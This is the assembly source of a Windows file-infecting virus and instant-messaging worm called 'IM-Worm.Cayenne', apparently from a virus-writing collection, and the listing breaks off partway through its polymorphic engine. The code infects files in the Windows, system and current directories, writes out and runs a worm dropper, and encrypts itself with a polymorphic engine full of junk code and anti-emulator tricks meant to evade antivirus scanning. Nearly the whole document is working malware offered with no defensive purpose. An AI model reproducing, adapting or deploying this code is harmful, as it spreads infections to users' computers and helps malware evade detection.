| ||||||||||||||||
|
IM-Worm.Cayenne
by Necronomikon
See also the project folder
; IM-Worm.Cayenne
;(c)by Necronomikon[DCA]
.586p
.model flat
jumps
.radix 16
extrn ExitProcess:PROC
.data
VirusSize equ (offset EndVirus - offset Virus )
NumberOfApis equ 16d
include ipe32.inc ;(c)by slurp
VirusCode:
Virus:
call Delta ; Get Delta Offset
Delta:
mov ebx, dword ptr [esp]
add esp, 4d
sub ebx, offset Delta
neg edx
mov ebp, 65447d
sub ebp, 65447d
add ebp, ebx
jmp KernelSearchStart
Align: ; align File or Section Size
pushad
dec dword ptr [ebp+Trash1] ; Trash
mov eax, dword ptr [ebp+AlignReg1]
; clear edx
push 0
pop edx
mov ecx, dword ptr [ebp+AlignReg2]
div ecx
; add eax, 1
inc eax
mul ecx
mov dword ptr [ebp+AlignReg1], 0h
add dword ptr [ebp+AlignReg1], eax
popad
ret
Startgame:
lea edi, [ebp+OldDirectory]
push edi
push 255d
call dword ptr [ebp+XGetCurrentDirectoryA]
push 255d
lea ebx, [ebp+DirectoryBuffer]
push ebx
call dword ptr [ebp+XGetWindowsDirectoryA]
lea edi, [ebp+DirectoryBuffer]
push edi
call dword ptr [ebp+XSetCurrentDirectoryA]
call InfectCurDir
; Infect System Directory
push 255d
lea ecx, [ebp+DirectoryBuffer]
xchg ecx, ebx
push ebx
call dword ptr [ebp+XGetSystemDirectoryA]
lea edi, [ebp+DirectoryBuffer]
xchg esi, edi
push esi
add dword ptr [ebp+Trash1], 1116027 ; Trash
call dword ptr [ebp+XSetCurrentDirectoryA]
call InfectCurDir
call IMWorm
; restore old directory
lea edx, [ebp+OldDirectory]
push edx
call dword ptr [ebp+XSetCurrentDirectoryA]
call InfectCurDir
jmp ExecuteHost
GetApis: ; Retrive the APIs we need
; store old EIP and ImageBase
push dword ptr [ebp+OldEIP]
pop ebx
shr eax, 17d
mov dword ptr [ebp+retEIP], 0
add dword ptr [ebp+retEIP], ebx
; clear edi
sub edi, edi
add edi, dword ptr [ebp+OldBase]
mov dword ptr [ebp+retBase], 0
add dword ptr [ebp+retBase], edi
; number of API's we're looking for
push NumberOfApis
pop ebx
; load API Names and Offsets
lea edi, [ebp+APIOffsets]
mov ecx, offset APINames
add ecx, ebp
GetApisLoop:
call SearchAPI1
add ecx, 4d
push dword ptr [ebp+TempAPI]
pop edx
mov dword ptr [edi], -1
and dword ptr [edi], edx
dec edi
add edi, 5d
sub ebx, 1
jnz GetApisLoop
lea eax, [ebp+XShellExecuteA]
xchg esi, eax
mov ebx, 0
add ebx, 1d
lea eax, [ebp+Shell32]
xchg edx, eax
lea eax, [ebp+ShellExApi]
xchg eax, ecx
call GetOtherApis
jmp Startgame
IMWorm:
call CreateWorm
push 0
push 080h
push 1h
push 0
push 0
push 0C0000000h
lea esi, [ebp+WormName]
xchg ebx, esi
push ebx
call dword ptr [ebp+XCreateFileA]
cmp eax, -1
je IMWormFailed
push eax
push 0
lea edi, [ebp+Write]
push edi
push WormLen
neg ecx
lea ebx, [ebp+WormDropper]
xchg edi, ebx
push edi
push eax
call dword ptr [ebp+XWriteFile]
call dword ptr [ebp+XCloseHandle]
cmp dword ptr [ebp+XShellExecuteA], 0
je IMWormFailed
push 0
push 0
push 0
lea ebx, [ebp+WormName]
xchg ebx, esi
push esi
push 0
push 0
call dword ptr [ebp+XShellExecuteA]
IMWormFailed:
ret
; File Handling
OpenFile: ; Open File
xor edx, edx
push edx
push edx
push 3h
push edx
inc edx
push edx
push 80000000h or 40000000h
mov edi, ebp
add edi, offset WFD_szFileName
push edi
call dword ptr [ebp+XCreateFileA]
add eax, 1
jz Closed
sub eax, 1
push eax
pop dword ptr [ebp+FileHandle]
CreateMap: ; Map the file
mov ebx, 0
add ebx, -1d
and ebx, dword ptr [ebp+WFD_nFileSizeLow]
push ebx
push 0
push ebx
push 0
push 00000004h
push 0
push dword ptr [ebp+FileHandle]
call dword ptr [ebp+XCreateFileMappingA]
mov dword ptr [ebp+MapHandle], 0
add dword ptr [ebp+MapHandle], eax
pop ebx
or eax, eax
jz CloseFile
and edx, 0
push ebx
push edx
push edx
push 2d
pop ecx
push ecx
push dword ptr [ebp+MapHandle]
call dword ptr [ebp+XMapViewOfFile]
or eax, eax
jz UnMapFile
mov dword ptr [ebp+MapAddress], -1
and dword ptr [ebp+MapAddress], eax
clc
ret
UnMapFile: ; Unmap the file and store it to disk
Call UnMapFile2
CloseFile: ; Close the file
push dword ptr [ebp+FileHandle]
Call [ebp+XCloseHandle]
Call ind00r
Closed:
stc
ret
UnMapFile2:
push dword ptr [ebp+MapAddress]
call dword ptr [ebp+XUnmapViewOfFile]
push dword ptr [ebp+MapHandle]
call dword ptr [ebp+XCloseHandle]
add ecx, eax
ret
FindNextFileProc: ; find another file
call ClearOldData
lea ebx, [ebp+WIN32_FIND_DATA]
xchg edx, ebx
push edx
or ebx, edx
mov ebx, -63706d
add ebx, 63706d
add ebx, dword ptr [ebp+FindHandle]
push ebx
call dword ptr [ebp+XFindNextFileA]
ret
; Find the first file
FindFirstFileProc:
call ClearOldData
lea ebx, [ebp+WIN32_FIND_DATA]
xchg ebx, edx
push edx
push ecx
add ebx, 46160723d
call dword ptr [ebp+XFindFirstFileA]
mov dword ptr [ebp+FindHandle], 0
xor dword ptr [ebp+FindHandle], eax
ret
ClearOldData:
pushad
mov eax, ebp
add eax, offset WFD_szFileName
push 276d
pop ecx
ClearOldData2:
mov byte ptr [eax], 0h
inc eax
dec ecx
jnz ClearOldData2
popad
ret
ind00r proc
pushad ; preserve all registers
call iInit ; initialize poly engine
ind00r_delta: mov al, JMP_LONG ; write jump to main loop
stosb ; store opcode
push edi ; to reloc jmp l8er
stosd ; store relative offset
call WriteJunk ; write some junk bytez
call iGenProcs ; generate procedures
push edi ; here we want to jump
call RelLongJmp ; reloc jump to main loop
or byte ptr [ebp.nojunk-idelta], 0FFh
call iGenLoop ; generate main loop
call iSEHJump
sub edi, [esp.PUSHAD_EDI] ; calculate decryptor size
mov [esp.PUSHAD_ECX], edi ; ECX = size
call iEncrypt ; encrypt code!
popad ; restore all registers
ret ; return
ind00r endp
; main procedure: init
iInit proc
; first of all, calculate new delta offset
mov ebp, [esp]
add ebp, idelta - offset ind00r_delta ; calculate delta
; offset
; now init random seed
push dword ptr [ebp.RandomConst-idelta]
pop dword ptr [ebp.RandomSeed-idelta]
push edi ; push destination index
lea edi, [ebp.InitValues-idelta] ; table with init values
; let's store parameterz
stosd ; store size of junk space
xchg eax, edx
stosd ; store address of junk space
xchg eax, ebx
stosd ; store decrypt rva
xchg eax, ecx
stosd ; size of code
xchg eax, esi
stosd ; address of code
; mix the registers
lea esi, [ebp.preg-idelta]
push USED_REGS
call MixBytes
; get number of junk procedures (1 - 5)
push JUNK_PROCS ; 0 - 3
call rnd32r
add al, MIN_PROCS
mov [ebp.ProcCount-idelta], al ; number of procedures
; put the procedures in random order
lea esi, [ebp.ProcedureOrder-idelta]
push eax
call MixBytes
; put procedure calls in random order
lea esi, [ebp.CallOrder1-idelta]
push CALL_ORDER_1
call MixBytes
lea esi, [ebp.CallOrder2-idelta]
mov ecx, eax
sub al, CALL_ORDER_2 + 1
push eax
call MixBytes
; get random parameter count for each procedure
lea edi, [ebp.ProcParameters-idelta]
mov cl, MAX_PROCS
i_par_loop: push MAX_PARAMS + 03h ; 0 - MAX_PARAMS + 2
call rnd32r
sub al, 02h
jnc i_lamest
xor eax, eax
i_lamest: stosb
loop i_par_loop
xor eax, eax
stosb
; get random key, encryption & key increment type
lea edi, [ebp.CryptKey-idelta]
call rnd32
stosd ; write key
call rnd32
stosd ; write key increment
push ENC_RND
call rnd32r
stosb ; write encryption type
push KEY_RND
call rnd32r
stosb ; write key increment type
pop edi ; pop destination index
and word ptr [ebp.InLoop-idelta], 00h
ret
iInit endp
; main procedure: encrypt
iEncrypt proc
pushad
lea esi, [ebp.CryptSize-idelta]
lodsd ; CryptSize
xchg eax, ebx
lodsd ; EncryptRVA
xchg eax, edi
lodsd ; CryptKey
xchg eax, ecx
lodsd ; KeyIncrement
xchg eax, edx
encrypt_loop: mov al, [ebp.CryptType-idelta] ; get encryption type
cmp al, ENC_XOR ; XOR encryption?
jnz ie_not_xor ; no, check next
xor [edi], ecx ; yes, XOR [preg], key
ie_not_xor: cmp al, ENC_ADD ; ADD decryption?
jnz ie_not_add ; no, check next
sub [edi], ecx ; yes, SUB [preg], key
ie_not_add: cmp al, ENC_SUB ; SUB decryption?
jnz ie_not_sub ; no, check next
add [edi], ecx ; yes, ADD [preg, key
ie_not_sub: cmp al, ENC_ROL ; ROL decryption?
jnz ie_not_rol ; no, check next
ror dword ptr [edi], cl ; rotate dword
ie_not_rol: cmp al, ENC_ROR ; ROR decryption?
jnz ie_not_ror ; no, jmp to key increment
rol dword ptr [edi], cl ; rotate dword
ie_not_ror: xchg ecx, edx
mov al, [ebp.KeyIncType-idelta] ; get key increment type
cmp al, KEY_ROL ; ROL key increment?
jnz ie_n_rol ; no, check next
rol edx, cl ; rotate key
ie_n_rol: cmp al, KEY_ROR ; ROR key increment?
jnz ie_n_ror ; no, check next
ror edx, cl ; rotate key
ie_n_ror: cmp al, KEY_INC ; ADD key increment?
jnz ie_n_inc ; no, check next
add edx, ecx ; increment key
ie_n_inc: cmp al, KEY_DEC ; SUB key increment?
jnz ie_n_dec ; no
sub edx, ecx ; decrement key
ie_n_dec: xchg ecx, edx
scasd ; increment pointer by 4
dec ebx
jnz encrypt_loop
popad
ret
iEncrypt endp
; main generator: generate procedure body and some junk around the real
; instructions.
iGenProcs proc
; get number of procedures into counter
movzx ecx, byte ptr [ebp.ProcCount-idelta]
xor ebx, ebx ; set up another counter that counts from 0
; for choosin' procedures
call rnd32
xchg dh, al
gp_loop: push ecx
; getting number of current procedure
push ebx
movzx ebx, byte ptr [ebp.ProcedureOrder-idelta+ebx]
; ID # of 1st procedure
mov [ebp.CurrentProc-idelta], bl ; for junk gen to
; identify current proc
; store procedure address
mov [ebp.ProcAddress-idelta+4*ebx], edi
; get number of parameters
mov dl, [ebp.ProcParameters-idelta+ebx]
test dl, dl ; if no parameter,
jz gp_np_entry ; generate no entry
; if procedure has parameters we need to set up EBP
; choose between two (similar) entrys:
; ENTER 0000h,00h
; or
; PUSH EBP
; MOV EBP, ESP
test dh, 01h
jz gp_psh_entry
xor eax, eax ; no local variables
mov al, PROC_ENTER ; opcode for enter
stosd ; store instruction
jmp gp_np_entry
gp_psh_entry: mov eax, PUSH_REG or REG_EBP or (100h * MOV_EBP_ESP)
stosd
dec edi ; wrote 3 bytes
gp_np_entry: push ebx
call iProcJunk
pop ebx
cmp ebx, JUNK_PROC
jnb gp_junk_proc
mov esi, [ebp.Generatorz-idelta+ebx*4]
add esi, ebp
push edx
call esi ; call di generator
pop edx
gp_junk_proc: call iProcJunk ; make some junk
mov eax, edx
xor ah, ah
shl eax, 08h xor 02h ; shift left one byte + * 4
xor al, PROC_RETP ; generate ret (with params)
test ah, ah ; do we have parameters?
jz gp_no_par
mov byte ptr [edi], POP_REG or REG_EBP
test dh, 01h
jz gp_psh_exit
xor byte ptr [edi], PROC_LEAVE xor (POP_REG or REG_EBP)
gp_psh_exit: inc edi ; write pop ebp/leave
stosd ; store RET opcode (C2h)
dec edi ; only store 3 bytes
jmp gp_par
gp_no_par: inc eax
stosb ; store RET opcode (C3h)
gp_par: call WriteJunk
pop ebx
inc ebx ; increment count
pop ecx
loop gp_loop
ret
iGenProcs endp
; generates main loop with some junk between callz.
iGenLoop proc
or byte ptr [ebp.InLoop-idelta], 01h
lea esi, [ebp.CallOrder1-idelta]
movsx ecx, byte ptr [ebp.ProcCount-idelta]
or byte ptr [ebp.CurrentProc-idelta], 0FFh
gl_call_lp: xor eax, eax
lodsb ; get numbah of proc
xchg eax, ebx
inc byte ptr [ebp.CurrentProc-idelta]
cmp byte ptr [ebp.CurrentProc-idelta], DECRYPT_DATA
jne gl_yxcmv
push edi
gl_yxcmv:
push ecx
movsx ecx, byte ptr [ebp.ProcParameters-idelta+ebx]
push ebx
test ecx, ecx ; 0 parameterz?
jz gl_no_par ; don't loop
gl_push_lp:
call iPushJunk
loop gl_push_lp
gl_no_par:
pop ebx
mov edx, [ebp.ProcAddress-idelta+4*ebx]
mov byte ptr [edi], CALL_DIRECT ; write call opcode
inc edi
neg edi
lea eax, [edx+edi-04h]
neg edi
stosd
pop ecx ; outer loop counter
loop gl_call_lp
mov bl, [ebp.creg-idelta] ; generate check if counter
call gCheckReg ; reg is zero
mov ax, ESC_2BYTE xor ((JMPC_LONG xor COND_NE) * 100h)
stosw ; generate JNZ
pop eax
neg edi
lea eax, [eax+edi-04h] ; eax = eax - (edi + 04h)
neg edi
stosd ; store jump offset
ret
iGenLoop endp
; generate jump to code
iSEHJump proc
mov edx, [ebp.DecryptRVA-idelta] ; where to jump after
; decryption
; 1. let's put offset to code on stack
call rnd32
test al, 01h
jz isj_npd
; generate PUSH offset CODE
mov al, PUSH_IMM ; push 32-bit immediate
stosb
xchg eax, edx
stosd ; immediate value
jmp isj_npd0
; load reg with value and push reg
isj_npd: call rnd32
and al, REG_EDI
cmp al, REG_ESP
je isj_npd
xchg eax, ebx
push ebx
call gLoadReg
pop eax
xor al, PUSH_REG
stosb
; 2. let's clear a reg to index fs:[0]
isj_npd0: ; get a random register & clear it
call rnd32
and al, REG_EDI
cmp al, REG_ESP
je isj_npd0
mov ebx, eax
call gClearReg
xchg eax, ecx
; 3. put da old handler on stack
mov al, OVERRIDE_FS
stosb
xor ch, ch
xor esi, esi
call rnd32
test al, 01h
jz isj_dir
mov bh, OPTYPE_MOV
call rnd32
and al, 02h
add bh, al
isj_gnr: call rnd32
and al, REG_EDI
cmp al, cl
je isj_gnr
mov bl, al
mov al, OPSIZE_32
mov ah, REG_MEM
call ciOpRMReg
xchg eax, ebx
xor al, PUSH_REG
stosb
jmp isj_dir0
isj_dir: mov al, OP_GROUP5
stosb
mov bl, P_PUSH
call ciCreateOperand
isj_dir0:
; 4. now set new handler to ESP
mov al, OVERRIDE_FS
stosb
mov bx, REG_ESP xor (OPTYPE_MOV * 100h)
mov ax, OPSIZE_32 xor (MEM_REG * 100h)
call ciOpRMReg
; 5. let's create some junk that causes exception
push 03h
pop ecx
ex_junk_loop: push ecx
push OPTYPE_CMP
call rnd32r
xchg eax, ebx
call rnd32
test al, 01h
jz isj_suck
mov bh, bl
call rnd32
and al, REG_EDI
mov bl, al
push 03h
call rnd32r
mov ah, MEM_REG
call ciOpRMReg
jmp isj_suck0
isj_suck: call rnd32
xchg eax, edx
push 03h
call rnd32r
call ciOpRMImm
isj_suck0: pop ecx
loop ex_junk_loop
ret
iSEHJump endp
; load start RVA into pointer register
iProcLdPtr proc
mov edx, [ebp.DecryptRVA-idelta]
mov bl, [ebp.preg-idelta]
jmp gLoadReg
iProcLdPtr endp
; load size into counter register
iProcLdCnt proc
mov edx, [ebp.CryptSize-idelta]
mov bl, [ebp.creg-idelta]
jmp gLoadReg
iProcLdCnt endp
; load key into key register
iProcLdKey proc
mov edx, [ebp.CryptKey-idelta]
mov bl, [ebp.kreg-idelta]
jmp gLoadReg
iProcLdKey endp
; decrypt data word
iProcDecData proc
mov cl, [ebp.preg-idelta] ; operand = ptr reg
call rnd32 ; get random bit
mov bl, 08h
cmp byte ptr [ebp.CryptType-idelta], ENC_SUB
jbe dd_not_chk_ecx
cmp cl, REG_ECX
jne dd_not_chk_ecx
or al, 01h ; set 1st bit
dd_not_chk_ecx:
test al, 01h ; is it zero?
jz blaaah ; yes, use direct encryption
; create MOV/XCHG junkreg, [preg] (indirect encryption)
dd_get_jnk_reg: call iGetJunkReg
cmp al, REG_ECX ; is it ECX?
je dd_get_jnk_reg ; yes, use other junk reg
mov bl, al
xor al, MOD_REG
push eax ; push code reg for later use
mov bh, OPTYPE_MOV ; generate MOV
call rnd32 ; random numbah
and al, 02h
add bh, al ; zero, use MOV
; non-zero, use XCHG
xor esi, esi ; no displacement
mov al, OPSIZE_32 ; dword, of course
mov ah, REG_MEM ; from memory to register
call ciOpRMReg
pop ecx
call iBlockJunkAR
blaaah:
; test for encryption type
mov al, [ebp.CryptType-idelta]
cmp al, ENC_XOR
jnz dd_not_xor
mov bh, OPTYPE_XOR ; generate XOR jreg/[preg], kreg
dd_not_xor: cmp al, ENC_ADD
jnz dd_not_add
mov bh, OPTYPE_ADD ; generate ADD jreg/[preg], kreg
dd_not_add: cmp al, ENC_SUB
jnz dd_not_sub
mov bh, OPTYPE_SUB ; generate SUB jreg/[preg], kreg
dd_not_sub: ja dd_rotate ; generate ROR/ROL jreg/[preg], kreg
push ecx
mov al, OPSIZE_32
mov ah, MEM_REG
mov bl, [ebp.kreg-idelta]
xor ch, ch
xor esi, esi
call ciOpRMReg
jmp dd_exit
dd_rotate: push ecx ; code reg/pointer reg
push eax
push ecx
mov al, [ebp.kreg-idelta] ; load key register
cmp al, REG_ECX ; ECX?
jz dd_no_push ; yes, no need to push ecx
or al, MOD_REG
xchg eax, ecx
push REG_ECX
call iIsJReg
cmp eax, 0FFFFFFFFh
jnz dd_ecx_isj
mov al, PUSH_REG xor REG_ECX ; generate PUSH ECX
stosb ; store opcode
pop ebx
call iBlockJunkAR
push ebx
dd_ecx_isj: xchg eax, edx
mov bx, REG_ECX xor (OPTYPE_MOV * 100h) xor MOD_REG
call rnd32
mov al, OPSIZE_32
and ah, REG_MEM
jnz dd_nxchg
xchg bl, cl
dd_nxchg:
call ciOpRMReg ; generate mov ecx, kreg
dd_askdjh: call iGetJunkReg
pop ebx
push ebx
and ebx, REG_EDI
cmp eax, ebx
je dd_askdjh
cmp al, REG_ECX
je dd_askdjh
xchg eax, ebx
call iRndJunk
dd_no_push:
pop ecx
pop eax
mov bl, ROR_SHIFT ; shift type ROR
cmp al, ENC_ROR ; is it ROR?
jz dd_enc_ror ; yes, skip
dec ebx ; decrement shift type (ROL)
dd_enc_ror:
mov al, OPSIZE_32
mov bh, SHIFT_CL
xor ch, ch ; no SIB addressin'
xor esi, esi
call ciShiftRM
xchg eax, edx
cmp al, PUSH_REG xor REG_ECX
jnz dd_no_pop
pop ebx
push ebx
and ebx, REG_EDI
call iBlockJunkAR
xor al, PUSH_REG xor POP_REG
stosb
dd_no_pop:
dd_exit: pop ebx ; pop code/ptr reg
mov eax, ebx
and al, MOD_REG
xor al, MOD_REG
jnz dd_not_save_reg
and ebx, REG_EDI
call iBlockJunkAR
mov cl, [ebp.preg-idelta]
mov bh, OPTYPE_MOV
call rnd32
and al, 02h
add bh, al
mov ax, OPSIZE_32 or (MEM_REG * 100h)
xor ch, ch
xor esi, esi
call ciOpRMReg
dd_not_save_reg:
ret
iProcDecData endp
; increment key
iProcIncKey proc
mov edx, [ebp.KeyIncrement-idelta] ; load key increment
call iGetJunkReg ; get random junk reg
xchg eax, ecx
mov ebx, ecx
mov al, [ebp.KeyIncType-idelta] ; get key increment type
mov bh, OPTYPE_ADD ; first assume ADD
cmp al, KEY_DEC ; check if decrement key
jnz pik_not_sub ; nope, ADD
mov bh, OPTYPE_SUB ; yes, SUB
pik_not_sub: ja pik_rotate ; > KEY_DEC: rotate!
call rnd32
test al, 01h
jz pik_direct ; don't load reg
push ebx
call gLoadReg ; move key increment into reg
pop ebx
call iBlockJunkAR
xor bl, MOD_REG
mov cl, [ebp.kreg-idelta] ; get key reg
xor ecx, 0FFFFFF00h xor MOD_REG
push 02h
call rnd32r
test eax, eax
jz pik_blah
xchg bl, cl
pik_blah:
mov ah, al
mov al, OPSIZE_32
jmp ciOpRMReg ; create instruction
pik_direct:
mov al, OPSIZE_32
mov bl, bh
mov cl, [ebp.kreg-idelta]
or ecx, 0FFFFFF00h xor MOD_REG
jmp ciOpRMImm
pik_rotate: xor bl, bl ; ROL shift
cmp al, KEY_ROR
jnz pik_not_ror
inc ebx ; ROR shift
pik_not_ror: mov ah, dl
and ah, 1Fh
mov bh, SHIFT_IMM
mov al, OPSIZE_32
mov cl, [ebp.kreg-idelta]
xor cl, MOD_REG
call ciShiftRM
ret
iProcIncKey endp
; increment pointer by 4
iProcIncPtr proc
push 04h ; we have 4 methods
call rnd32r ; to do so
mov cl, [ebp.preg-idelta]
xor cl, MOD_REG ; pointer reg, of course
push 04h
pop edx ; mov edx, 4 (optimized :P)
test al, al
jnz pip_not_add
mov bl, OPTYPE_ADD
pip_not_add: cmp al, 01h
jnz pip_not_sub
neg edx
mov bl, OPTYPE_SUB
pip_not_sub: cmp al, 02h
jnz pip_not_adc
mov bl, OPTYPE_ADC
dec edx
mov byte ptr [edi], SET_CRY
inc edi
pip_not_adc: cmp al, 03h
jnz pip_not_lea
; generate lea preg, [preg + 04h]
mov byte ptr [edi], LOAD_EA
inc edi
and cl, REG_RND - 1
mov bl, cl
push esi
xchg edx, esi
xor ch, ch
call ciCreateOperand
pop esi
ret
pip_not_lea: mov al, OPSIZE_32
jmp ciOpRMImm
ret
iProcIncPtr endp
; decrement counter
iProcDecCnt proc
push 05h
call rnd32r
mov cl, [ebp.creg-idelta]
or cl, MOD_REG
xor edx, edx
test al, al
jnz pdc_not_dec
; generate DEC creg
mov al, DEC_REG
or al, [ebp.creg-idelta]
stosb
ret
pdc_not_dec: cmp al, 01h
jnz pdc_not_add_FF
; generate ADD creg, -1
mov bl, OPTYPE_ADD
dec edx
pdc_not_add_FF: cmp al, 02h
jnz pdc_not_sbb
; generate STC, SBB creg, 0
mov byte ptr [edi], SET_CRY
inc edi
mov bl, OPTYPE_SBB
pdc_not_sbb: cmp al, 03h
jnz pdc_not_lea
; generate LEA creg, [creg - 1]
mov byte ptr [edi], LOAD_EA
inc edi
and cl, REG_RND - 1
mov bl, cl
push esi
xor esi, esi
dec esi
xor ch, ch
call ciCreateOperand
pop esi
ret
pdc_not_lea: cmp al, 04h
jnz pdc_not_sub
; generate SUB creg, 1
mov bl, OPTYPE_SUB
inc edx
pdc_not_sub: mov al, OPSIZE_32
jmp ciOpRMImm
iProcDecCnt endp
; fool some emulatorz
iProcFPUFool proc
; initialize FPU
mov eax, FPU_WAIT or (FPU_INIT * 100h) or 'X' * 1000000h
stosd
dec edi
; choose random address to store result
call iGetWrMem
push GF_METHCNT ; choose between 4 methods
call rnd32r
push eax
inc eax
mov edx, eax
; store initial value in memory
mov al, OPSIZE_32
mov bl, OPTYPE_MOV
call ciOpRMImm
call iRndRegJ
; load dword from address into fpu register
call rnd32
and al, FPU_WORD_LDST
or al, FPU_INT_LDST
mov bl, FPU_LOAD
stosb
call ciCreateOperand
; calculate address of method and execute it!
pop eax
push eax
mov ebx, [ebp.gf_methods-idelta+4*eax]
add ebx, ebp
call ebx
; write back dword from st(0)
call iGetWrMem
call rnd32
and al, FPU_WORD_LDST xor FPU_INT_LDST
xor al, FPU_INT_LDST
mov bl, FPU_STORE
stosb
call ciCreateOperand
call iRndRegJ
; check returned value of FPU instructions.
pop eax
push edi ; label1 in ECX (see below)
movzx edx, byte ptr [ebp.gf_rslt_table-idelta+eax]
push 03h
call rnd32r
add al, OPTYPE_SUB ; SUB, CMP or XOR
xchg eax, ebx
xor al, al
push edi
call ciOpRMImm
; if not equal, generate endless loop (fuck some emulatorz)
; generate JZ or JNZ
pop ebx
pop ecx
mov al, ah ; get another random byte
test al, 40h
jnz gf_as1 ; not zero, jump after junk
xchg ecx, ebx
gf_as1:
call rnd32 ; random dword
and al, 01h
jz gf_el1 ; zero, generate JZ
; jump back before compare instruction or afta
;
; label1: <access mem junk>
; label2: CMP/SUB/XOR
; JNZ label2/label3
xchg eax, ecx
mov byte ptr [edi], JMPC_SHORT xor COND_NZ
inc edi
sub eax, edi ; calculate relative offset
dec eax ; we need to dec rel
stosb ; write relative jmp offset
ret
gf_el1:
;
; JZ label2/label3
; label1: <junk>
; JMP label1
; label2: <junk>
; label3:
;
xchg eax, ecx
mov byte ptr [edi], JMPC_SHORT xor COND_Z
inc edi
push edi
inc edi
call iBlockJunk
mov byte ptr [edi], JMP_SHORT
inc edi
sub eax, edi
dec eax
stosb
push edi
call iBlockJunk
mov ebx, edi
pop ecx
mov al, ah ; get another random byte
test al, 20h
jnz gf_as2
xchg ecx, ebx
gf_as2: xchg eax, ecx
pop eax
neg eax
lea ebx, [edi+eax-01]
neg eax
mov [eax], bl
gf_xit:
ret
gf_rslt_table db 03h, 07h, 02h, 00h
gf_meth1: call rnd32
and al, 01h
jz gf_meth11
mov ax, FPU_LDPI
stosw
call iBlockJunk
mov al, FPU_WORD_OP
stosb
mov bl, FPU_MULP
gf_meth1e: mov cl, REG_ST1 or MOD_REG
jmp ciCreateOperand
gf_meth11: mov ax, FPU_LDLG2
stosw
call iBlockJunk
mov al, FPU_WORD_OP
stosb
mov bl, FPU_DIVP
jmp gf_meth1e
gf_meth2: mov ax, FPU_LDL2T
stosw
call iBlockJunk
mov al, FPU_DWORD_OP
stosb
mov bl, FPU_MUL
mov cl, REG_ST1 or MOD_REG
jmp ciCreateOperand
gf_meth3: mov ax, FPU_LDLN2
stosw
call iBlockJunk
mov ax, FPU_SQRT
stosw
mov al, FPU_QWORD_OP
stosb
mov bl, FPU_MUL
mov cl, REG_ST1 or MOD_REG
call ciCreateOperand
mov ax, FPU_DWORD_LDST or (100h * (MOD_REG xor 09h))
stosw
ret
gf_methods equ $
dd offset gf_meth1-idelta
dd offset gf_meth2-idelta
dd offset gf_meth3-idelta
GF_METHCNT equ 3
iProcFPUFool endp
; main procedure: generate 1-3 different junk blockz
iProcJunk proc
push ecx ; preserve counter
push 03h ; get random number between 0 and 4
call rnd32r
inc eax ; add 1 (1 - 3)
xchg eax, ecx ; load into counter
call iBlockJunk ; generate junk blocks
loop $ - 05h
pop ecx ; restore counter
ret
iProcJunk endp
; main procedure: generate 1 junk block
iBlockJunk proc
mov bl, 08h
iBlockJunkAR: ; avoid register in ebx
test byte ptr [ebp.nojunk-idelta], 0FFh
jz bj_sueder
ret
bj_sueder:
pushad
push BJ_BLOCKCNT ; choose between multiple methods
call rnd32r
mov edx, [ebp.bj_blockz-idelta+4*eax] ; get address of
add edx, ebp ; method procedure & relocate
bj_nxtr: call iGetJunkReg ; get a junk reg
cmp al, bl ; test if we shouldn't touch it
je bj_nxtr ; yes, get another junk reg
xchg ebx, eax ; junk reg in EAX
call edx ; execute method
mov [esp], edi
popad
ret
; junk block 1:
; 1. <compare/sub register/memory with constant>
; 2. <conditional jump to 4.>
; 3. <2 - 4 junk instructions>
; 4.
bj_block1: push ebx ; save register 4 l8er use
mov dh, bl
mov bl, OPTYPE_SUB
call rnd32 ; get random number
and al, 02h ; 0/2
add bl, al ; OPTYPE_SUB + 2 = OPTYPE_CMP
call rnd32
and al, 01h
mov dl, al ; dl = 0/1 (reg/junk)
test dl, dl
jz bj_b1_nreg1
call rnd32
and al, REG_EDI ; 00000xxx random reg
xor al, MOD_REG ; 11000xxx set reg bits
xchg eax, ecx
jmp bj_b1_nmem1
bj_b1_nreg1: call iGetMemory ; get readable memory
bj_b1_nmem1: cmp bl, OPTYPE_SUB ; if not SUB, get read only
jnz bj_b1_nro ; register or memory
test dl, dl
jz bj_b1_nreg2
mov cl, dh ; writeable register
xor ecx, 0FFFFFF00h xor MOD_REG
jmp bj_b1_nro
bj_b1_nreg2: call iGetWrMem
bj_b1_nro: mov al, bl
xor al, MOD_REG
test al, MOD_REG
jz bj_b1_regalign
call iOpSizeMem
jmp bj_b1_blah
bj_b1_regalign: call iOpSizeReg
bj_b1_blah: push eax
call rnd32
xchg eax, edx
call rnd32
test al, 01h
jz bj_b1_akldf
movsx edx, dl
bj_b1_akldf: pop eax
call ciOpRMImm
pop ebx
call rnd32
and al, 0Fh ; get random conditional jump type
xor al, JMPC_SHORT ; make jump opcode
stosb ; store it
push edi ; push address of immediate
stosb ; store placeholder byte
call iRndJunk ; make some junk
pop eax
not eax
lea ebx, [edi+eax] ; relative address
not eax
mov [eax], bl ; store relative jump address
ret
; junk block 2:
; 1. <push junk>
; 2. <2 - 4 junk instructions>
; 3. <pop junk>
bj_block2: call iPushJunk
call iRndJunk ; make some junk
jmp iPopJunk
bj_block3: call rnd32 ; generate STC/CLC/STD/CLD
and al, 05h
xor al, 0F8h
stosb
jmp iRndJunk
bj_blockz equ $
dd offset bj_block1 - idelta
dd offset bj_block2 - idelta
dd offset bj_block3 - idelta
dd offset iRndJunk - idelta
dd offset iRndJunk - idelta
BJ_BLOCKCNT equ 05h
iBlockJunk endp
; writes two to four random junk instruction (reg or mem)
iRndJunk proc
pushad
push 03h
call rnd32r
inc eax
inc eax
xchg eax, ecx
rndj_loop: push JUNKGEN_CNT
call rnd32r
mov eax, [ebp.JunkGen-idelta+4*eax]
add eax, ebp
push ecx
push ebx
call eax
pop ebx
pop ecx
loop rndj_loop
mov [esp], edi
popad
ret
iRndJunk endp
; generates one junk instruction with the register in ebx (the register
; isn't overwritten some times)
; ebx = register
iRegJunk proc
push RJ_METHCNT
call rnd32r
mov ecx, [ebp.rj_methods-idelta+4*eax]
add ecx, ebp
call iOpSizeReg
jmp ecx
; method 1: immediate operation on register
rj_meth1: push eax
mov ecx, ebx
xor ecx, 0FFFFFF00h xor MOD_REG
push OPTYPE_MOV + 3
call rnd32r
cmp al, OPTYPE_MOV + 1
jb rj_m1_nmov
mov al, OPTYPE_MOV
rj_m1_nmov:
xchg eax, ebx
call rnd32
xchg eax, edx
call rnd32
test al, 0Ch
jz rj_m1_nsx
movsx edx, dl
rj_m1_nsx: pop eax
rj_m1_nrc: jmp ciOpRMImm
; method 2: operation with mem on register
rj_meth2: push eax
call iGetMemory
push OPTYPE_MOV + 3 ; we don't want to XCHG
call rnd32r ; get random operation type
cmp al, OPTYPE_MOV + 1
jb rj_m2_nmov
mov al, OPTYPE_MOV
rj_m2_nmov:
mov bh, al
pop eax
